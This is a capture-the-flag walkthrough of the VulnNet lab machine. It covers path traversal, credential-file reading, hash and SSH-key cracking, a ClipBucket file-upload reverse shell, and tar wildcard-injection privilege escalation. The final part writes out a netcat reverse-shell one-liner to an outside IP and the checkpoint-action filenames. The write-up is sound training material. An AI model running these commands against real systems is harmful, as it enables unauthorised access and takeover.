description |
---|
sudo nmap 10.10.14.164 -p- -sS -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Investigating port 80, we are welcomed over to the Vulnnet Entertainment landing page.
Starting enumeration with ZAP's active scan feature, we detect a high alert for a path traversal vulnerability.
http://vulnnet.thm/index.php?referer=/etc/passwd
Whilst the path traversal works, the results are not visible unless looking at the source of the /index.php
page.
view-source:https://vulnnet.thm/index.php?referer=%2Fetc%2Fpasswd
From /etc/passwd
we obtain the username server-management. For further information we use the path traversal vulnerability to acquire even further information about the /index.php
page located in /var/www/html/
.
As per the image shown below, we can now see even further information and that the page is running ClipBucket version 4.0.
A quick search with searchsploit
reveals multiple vulnerabilities for version 4.0.0.
Exploit-db: https://www.exploit-db.com/exploits/44250
However, I was unable to successfully complete any of the suggested exploits due inaccessible and required directories.
Taking the enumeration further we start fuzzing for subdomains on http://vulnnet.thm.
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm" --hl 141
Looking at the results below we get the response code 401 (Unauthorized) for the sub domain http://broadcast.vulnnet.thm. 
Appending the braodcast sub domain to our /etc/hosts
file we then browse to the new domain and are prompted for credentials.
Brute forcing the login page with the server-management user and Hydra provided unsuccessful. Likewise, admin and root did not work either.
Back to enumeration...
Building on further from the LFI vulnerability discovered by ZAP earlier we start fuzzing for further files. We get a valid hit on /etc/apache2
.
wfuzz -u "http://vulnnet.thm/index.php?referer=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hl 141 -R 2
Fuzzing for further files within the /etc/apache2
directory we soon get a hit for .htapasswd
.
wfuzz -u "http://vulnnet.thm/index.php?referer=/etc/apache2/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt --hl 141 -R 2
Using curl
we read the contents of .htpasswd
and discover credentials within the file.
curl "http://vulnnet.thm/index.php?referer=/etc/apache2/.htpasswd"
Using hashcat against the rockyou.txt wordlist we are soon able to crack the Apache2 encrypted password.
hashcat -a 0 -m 1600 hash /usr/share/wordlists/rockyou.txt
Using the newley discovered credentials for the user developers on the http://boradcast.vulnnet.thm
web page we are able to proceed and are greeted with the index page for Clipbucket.
Going back to Exploit-DB we can begin again, to look at the various vulnerabilities. In this instance I have chosen to proceed with the Unauthenticated Arbitary File Upload.
Using the PHP Monkey reverse shell generated from RevShells I then used the command below to perform a file upload.
curl -F "[email protected]" -F "plupload=1" -F "name=anyname.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php" -u developers:<Password>
The response message includes the directory and name of the uploaded file. Using this information we start a netcat listener and browse to the uploaded reverse shell.
http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/<FileName>.php
Gaining access as www-data.
From here we give ourselves a better shell experience.
/usr/bin/script -qc /bin/bash /dev/null
Performing basic enumeration steps on the target system we find the file /var/opt/backupsrv.sh
is executed by root every two minutes.
Viewing the contents of the file we see that all files within /home/server-management/Documents
are archived using tar
everytime the scipt is run.
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
Reading the script we see that tar
is backing up files and ending the command in a wildcard. I have previously document performing privilege escalation in the TryHackMeRoom Marketplace using tar
wildcard injection
{% content-ref url="marketplace.md" %} marketplace.md {% endcontent-ref %}
However, we have no permissions over the destination path of /home/server-management/Documents
.
Looking at the files already backed up and archived to /var/opt/backups
we notice two archived files of interest;
Extract these to a writeable directory:
tar -xf ssh-backup.tar.gz -C /tmp/
tar -xf vulnnet-Monday.tgz -C /tmp/
Viewing the id_rsa
is of interest.
Transferring the id_rsa
key over to my attacking system we are prompted for a password when trying to use it when connecting as the user server-management.
Using ssh2john we can hash the key file and then, perform password cracking to reveal the plain text password.
/usr/bin/ssh2john id_rsa >> hash_id
With the now discovered credentials we are able to login over SSH
with the user server-management.
Revisiting the /var/opt/backupsrv.sh
file we should now be able to perform privilege escalation as /home/server-management/Documents
is within our home directory.
Referring again to the steps I performed for the Marketplace room. Ensuring we are running from the Documents folder.
echo "mkfifo /tmp/ydzhkhh; nc 10.11.54.237 8000 0</tmp/ydzhkhh | /bin/sh >/tmp/ydzhkhh 2>&1; rm /tmp/ydzhkhh"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
Start a netcat listener, wait a couple of minutes and obtain a root shell and then grab the root.txt flag.